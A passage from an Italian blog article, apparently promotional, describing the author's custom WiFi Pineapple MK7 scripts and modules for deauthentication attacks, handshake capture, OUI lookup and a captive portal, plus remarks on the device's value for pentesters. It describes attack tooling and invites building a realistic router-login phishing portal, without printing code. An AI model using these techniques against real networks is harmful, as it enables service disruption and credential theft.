sort_probesÈ simile al precedente, ma combina le sonde; utilizza sort e uniq su tutti i file probe* all'interno della directory (/root/gprobes/probes*), ordinando gli output di più sonde in uno solo, in modo da poter combinare l'elenco delle sonde target. Se si dispone di più sonde (cosa che gather_probes farà), verrà emesso e sovrascritto il file chiamato "sorted_probes.txt", quindi assicuratevi di non cancellare tutte le sonde a meno che non lo vogliate. Si può anche rinominare sorted_probes.txt in "probes_99.txt" e aggiungerlo a gprobes prima di effettuare un nuovo ordinamento.

NOTA: Se si riscontrano problemi con gather_probes, assicurarsi di aver installato sqlite3-cli e che libsqlite3 sia della stessa versione. Per verificare la presenza di aggiornamenti e installare l'ultima versione di libsqlite3, si può usare la seguente procedura.

opkg update opkg install libsqlite3

Modulo MDK4ENon voglio in alcun modo togliere credito all'autore originale, che mi ha fornito un'ottima base su cui lavorare. Qui ho modificato e aggiunto 3 nuove opzioni per lavorare con l'interfaccia WebUI. -B -E e -S (AP BSSID, ESSID e Station BSSID singoli). Autore del modulo: newbi3 (mi scuso, non sono riuscito a trovare un link sociale!)

MACInfoAncora una volta non voglio togliere alcun credito all'autore originale, modulo fantastico. Detto questo, ho usato Prompt Engineering per riscrivere il module.py che lo gestisce per consentire una migliore ricerca degli OUI completi, invece di essere limitato ai primi 3 ottetti e di usare l'elenco OUI predefinito di pineapples (che va bene, ma volevo di più). Questo include anche l'intero database OUI di Maclookup.app da usare con questo, consentendo un database OUI Macinfo molto più esteso. Anche il lato online di questo modulo è stato completamente rimosso, poiché il sito con cui cercava di comunicare non funzionava durante la ricerca e non volevo sistemarlo quando ora abbiamo un database molto più grande di prima. Autore del modulo: KoalaV2

Process_MAL_Only.py (Lista OUI aggiornata per Recon) Qui ho ampliato la lista OUI predefinita di Pineapples, utilizzando il database OUI di Maclookups e convertendo i caratteri accentati per mantenere la leggibilità ed eliminando elementi come l'unicode. Questo utilizza ancora solo i primi 3 ottetti (00:11:22), ma rispetto alla dimensione predefinita di pineapples di 1,1 mb, Maclookups è di 1,8 mb. Ha molte più voci. Si può controllare con jq -c 'keys_unsorted | length' youfile.json, ma potrebbe essere necessario installarlo prima opkg install jq.

Process_MLA_Complete.pyQuesto mi ha permesso di prendere il file CSV da Maclookup e di estrarre l'ultimo database di OUI da usare nel modulo MACInfo. Assicuratevi solo che quando sostituite il MACInfo "MLA_OUI_COMPLETE" lo rinominiate esattamente così.

deautherQuesto modulo mi rende molto orgoglioso e ho lavorato a lungo con ChatGPT per farlo funzionare come previsto. Utilizza MDK4 per la deautenticazione, la magia è che si può specificare un elenco di BSSID di stazioni o un elenco di BSSID di AP con numeri di canale in un elenco e cambierà il canale di conseguenza per ogni obiettivo. Consente di impostare la durata dell'esecuzione, il tempo di attesa tra i tentativi di attacco, il numero di volte in cui ripetere l'attacco su un bersaglio e consente di impostare i pacchetti al secondo. È anche possibile specificare solo un singolo BSSID di AP o STA, se si desidera, e usando -c si sovrascriveranno i canali impostati nei file di destinazione che sono nel formato: BSSID,CHANNEL. Si consiglia di dare un'occhiata al menu di aiuto.

bpineapQuesto è uno strumento che mi sono fatto aiutare da ChatGPT. Permette di regolare tutte le opzioni che si trovano usando uci show pineap, tranne l'ap_interface che non funziona correttamente a causa di altri fattori. Utilizza uci per impostare temporaneamente queste opzioni e poi riavvia pineapd per assicurarsi che le modifiche abbiano effetto. È anche possibile mostrare una scansione, interromperla e avviarla utilizzando le opzioni cli pineap. Si risparmia solo il tempo di digitare o copiare e incollare la riga uci da modificare.

AirPort Captive PortalPenso che questo non abbia bisogno di presentazioni a questo punto :D

check_handshakesQuesto è un piccolo script che ho realizzato per controllare gli handshake catturati da WiFi Pineapple e verificarne lo stato in base a un certo insieme di condizioni. Usare il parametro -h con questo script per consultare il menu di aiuto.

airedeauthSimile a deauther, tranne che per il fatto che è un wrapper attorno ad aireplay-ng, è più adatto a colpire le stazioni con un numero specifico di gruppi di pacchetti.

capture_handshakesUtilizza un semplice ciclo per prendere in input un elenco di BSSID e numeri di canale e uno per uno avvia pineap handshake_capture_start e pineap handshake_capture_stop. In questo modo è possibile avviare una cattura di handshake dedicata nello stesso modo in cui lo si farebbe utilizzando la WebUI, semplicemente fermando e avviando la cattura di handshake per BSSID diversi su canali diversi. Se si utilizza questa funzione con lo schermo, è possibile avviare un'attività di cattura di handshake per 24 ore, mirata a punti di accesso selezionati sui canali corrispondenti.

Download:

  • È possibile scaricare gli MK7Scripts qui.
  • È possibile scaricare i moduli MK7 qui.
  • È possibile scaricare il Captive Portal qui.

Suggerimento: se si desidera poter completare automaticamente i comandi tramite tabulazione, è sufficiente inserirli in /bin/, in modo da poter completare automaticamente il comando premendo il tasto tabulazione.

Il WiFi Pineapple vale il prezzo?

Il WiFi pineapple è adatto a ciò che fa meglio, ovvero l'auditing WiFi e un Rogue Access Point collegato alla rete di destinazione. È solo uno dei tanti strumenti che potrebbero costituire una piccola parte del kit di strumenti di un pentester professionista.

Si potrebbe obiettare che si può fare la stessa cosa con un raspberry pi e sarebbe corretto pensarlo, ma il tempo e il costo necessari per configurare l'equivalente di ciò che si ottiene con il WiFi pineapple supererebbero il tempo e il costo di un WiFi Pineapple (dopo tutto quando si lavora, il tempo è denaro).

Quindi la risposta è sì, vale la pena spendere i soldi se ne avete bisogno.

Il WiFi Pineapple è ancora attuale nel 2024?

Sebbene il WiFi non sia più quello di 10 anni fa, molte facili scappatoie sono state eliminate e chiuse, ma ci sono ancora molti router in circolazione che sono datati o hanno implementazioni scadenti o configurazioni errate.

Cose come il DNS-Over-Https, il DNS Caching, l'HSTS, l'HTTPS-Everywhere hanno reso irrilevanti molti vecchi attacchi, ma la cattura degli handshake e il cracking sono ancora rilevanti e lo saranno per un bel po' di tempo.

Questo perché ci sono ancora molti dispositivi che non supportano il protocollo WPA3 (comprese le telecamere, come abbiamo scoperto nel mio precedente articolo sul deauth). Tuttavia, il captive portal offre un altro metodo di attacco per cercare di ottenere le credenziali.

Detto questo, tutto ciò significa che con il WiFi Pineapple dovrete essere molto più creativi con i vostri attacchi e le vostre tecniche, pur comprendendo i limiti del dispositivo.

Probabilmente vi troverete anche a personalizzare il vostro Pineapple, sia con script, moduli, database OUI in espansione, portali, ecc.

La maggior parte dei clienti vi fornirà probabilmente una posizione "presumibilmente violata" da cui effettuare i test, nel qual caso vi occorrerà un computer portatile dotato degli strumenti necessari per svolgere il lavoro. Insieme ad altri strumenti fisici, come cavi O.MG o impianti, tutto ciò di cui avete bisogno per svolgere il lavoro. Per rispondere alla domanda, comunque, sì, l'ananas WiFi è ancora rilevante se ne avete i requisiti.

Dichiarazione conclusiva.

Anche se il Captive Portal che abbiamo creato qui può sembrare semplice, c'è molto da fare e, ovviamente, per motivi legali non ho voluto mostrare come creare una pagina di phishing realistica.

Tuttavia, spero di avervi fornito tutte le informazioni necessarie per personalizzare le immagini o le operazioni per i vostri impegni.

Come ultima sfida per voi stessi: Provate a creare il vostro Captive Portal utilizzando la pagina di login del router di casa e le risorse come immagini, file css, ecc. A volte è necessario apportare semplici modifiche e con gli strumenti di sviluppo del browser. Vi fornirà tutte le opzioni di stile per ricreare una pagina di login del router realistica come un portale vincolato.

Spero che questo articolo vi sia piaciuto, è stato molto divertente giocare con Pineapple e personalizzarlo. Oltre a realizzare questo portale Airport, di cui sono molto soddisfatto, mi piace l'idea di airgeddons evil portal con handshake. Mi sono anche divertito moltissimo e ho avuto un gran mal di testa nel crearli!

Potete acquistare il WiFi Pineapple MK7 da LAB401 utilizzando il mio codice sconto: AMEC0E o cliccando sul link qui.

Risorse:

Articolo precedente LightMessenger: Approfondimento sul debug con Derek
Articolo successivo Immergetevi nel fuzzing RFID con Flipper Zero, l'app RFID fuzzer.

Lascia un commento

I commenti devono essere approvati prima di pubblicazione

* Campi obbligatori